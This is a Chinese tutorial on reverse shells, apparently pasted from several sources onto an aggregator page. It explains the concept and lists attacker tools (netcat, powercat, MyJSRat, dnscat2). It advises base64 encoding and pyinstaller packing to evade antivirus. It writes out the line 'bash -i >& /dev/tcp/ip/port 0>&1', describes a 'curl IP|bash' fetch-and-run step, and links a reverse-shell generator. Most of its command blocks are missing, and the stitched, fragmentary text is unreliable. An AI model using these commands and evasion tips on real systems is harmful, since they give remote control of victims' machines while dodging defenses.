反弹shell小结
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了反弹shell小结相关的知识,希望对你有一定的参考价值。
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?
有如下情况:
那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
简而言之,反弹shell就是要我们的vps服务器设置监听,然后让服务器反弹一个shell来连接我们自己的主机,从而使我们能远程控制我们的主机
客户端执行:
服务端成功接收,客户端执行命令成功。
成功反弹:
当然由于各种环境不同,服务端不一定有nc,所以还要靠其他手段各显神通。
项目地址: https://eternallybored.org/misc/netcat/
powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多
注意某些特殊情况需要将powershell脚本进行base64编码,才能成功反弹。比如sqlserver的命令执行、php中system函数的执行
base64编码处理:
目标机器执行:
适用于Python2环境
考虑实战中可能没有python环境
可以先在本地上使用pyinstaller将改文件打包为exe文件,直接上传exe运行即可。(推荐使用)
实际测试bypass av效果也比较好。
其实msf有相应的模块可以生成dll,没事也可以用用这个小工具,轻便快捷,一键操作,免杀能力一般,但起码比msf强,msf生成的基本会被通杀。
将生成的dll文件上传至被攻击端
运行命令:
攻击端用nc监听,即可反弹cmd
github项目地址: https://github.com/Ridter/MyJSRat
攻击端运行:
被控端运行:
首先在目标上查看相关命令是否存在:
某些目标的 nc 不支持 -e 参数,有两个解决思路
要么使用其他版本的 nc:
要么配合命名管道进行反弹:
首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:
然后再目标机上执行如下,即可反弹shell:
补充: curl IP|bash 中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等
保存为Revs.java文件,编译执行,成功反弹shell。
项目地址: https://github.com/iagox86/dnscat2
具体原理请参考: python正向连接后门
最后,推荐一个一键在线生成反弹shell网站:
https://krober.biz/misc/reverse_shell.php
windows命令行反弹shell(一)
Windows/Linux 下nc 反弹shell
反弹shell原理与实现
Reverse shell cheatsheet
反弹shell的各种姿势 参考技术A 简单来说,Shell就是实现用户命令的接口,通过这个接口我们就能实现对计算机的控制,比如我们常见的ssh就是执行的Shell命令实现对远程对服务器的控制。
那反弹Shell是啥呢?其英文名叫做Reverse
Shell,具体干什么的呢?就是控制端首先监听某个TCP/UDP端口,然后被控制端向这个端口发起一个请求,同时将自己命令行的输入输出转移到控制端,从而控制端就可以输入命令来控制被控端了。
比如说,我们有两台主机A、B,我们最终想实现在A上控制B。那么如果用正向Shell,其实就是在A上输入B的连接地址,比如通过ssh连接到
B,连接成功之后,我们就可以在A上通过命令控制B了。
如果用反向Shell,那就是在A上先开启一个监听端口,然后让B去连接A的这个端口,连接成功之后,A这边就能通过命令控制B了。
反弹shell作用:
还是原来的例子,我们想用A来控制B,如果想用ssh等命令来控制,那得输入B的sshd地址或者端口对吧?但是在很多情况下,由于防火墙、安全组、局域网、NAT等原因,我们实际上是无法直接连接到B的,比如:
A虽然有公网IP,但B是一个处于内网的机器,A就没法直接连到B上。
B上开了防火墙或者安全组限制,sshd的服务端口22被封闭了。
B是一台拨号主机,其IP地址经常变动。
假如B被攻击了,我们想让B向A汇报自己的状况,那自然就需要B主动去连接A。
如果是这些情况,我们就可以用反弹Shell用A来控制B了。
利用 Bash 反弹 shell
参考技术A利用 bash 反弹 shell 的方法很简单,百度一搜索就出来了,大部分都会给出这么一条命令
bash -i >& /dev/tcp/ip/port 0>&1
但是为什么这样就能反弹一个 shell 呢?
>&
ls bebe >& 1.txt
bebe 这个文件夹是不存在的,这个时候会发生什么呢?
会报错吗?不会的,因为错误信息被重定向到 1.txt 文件里了
在 linux 系统里面,各种文件都有自己的标识符,0 代表的是标准输入,1 代表的是标准输出, 2 代表的是标准错误输出,在上面的例子里,因为不存在 bebe 这个文件夹,所以在使用 ls 命令时系统会返回一个错误信息,这就是一个标准错误输出,而如果 bebe 文件夹存在的时候会是什么样呢?为了显示区别,我在 bebe 文件夹创建了一个 test 文件
可以看到,当用 2> 重定向到 3.txt 时是失败了的,里面没有任何东西,前面说了,2 在 linux 系统中代表的是标准错误输出,但是此时 bebe 文件夹是存在的,里面也有文件,所以系统不会返回一个错误信息,而是一个标准输出文件,用 1> 就能正确操作了。
既然有 > ,那么肯定就有 < 了,> 是将输出重定向, < 正好是反过来,重定向输入
/dev/tcp/ip/port
与一台主机指定端口建立 socket 连接
0 >& 1
这里将输入重定向到输入,如果反过来会发生什么,嘿嘿,测试一下
看到没,我在 linux 执行命令,但是命令在 windows 显示出来了,但是命令的回显又是在 linux 本机显示的,这个顺序反了啊
最后
对于这个命令的执行,我也只是查了一些资料,简单测试了一下,从我的理解来看,第一个 >& 是把 bash -i 生成的交互式 shell 重定向到远程主机的 port 上,最后的 0>&1 则是把本该在 linux 上的回显再重定向到 bash 的输入,而此时 bash 的输入是在远程主机之中,这就实现了命令的执行和回显都在远程主机中,方便进行操作。
以上是关于反弹shell小结的主要内容,如果未能解决你的问题,请参考以下文章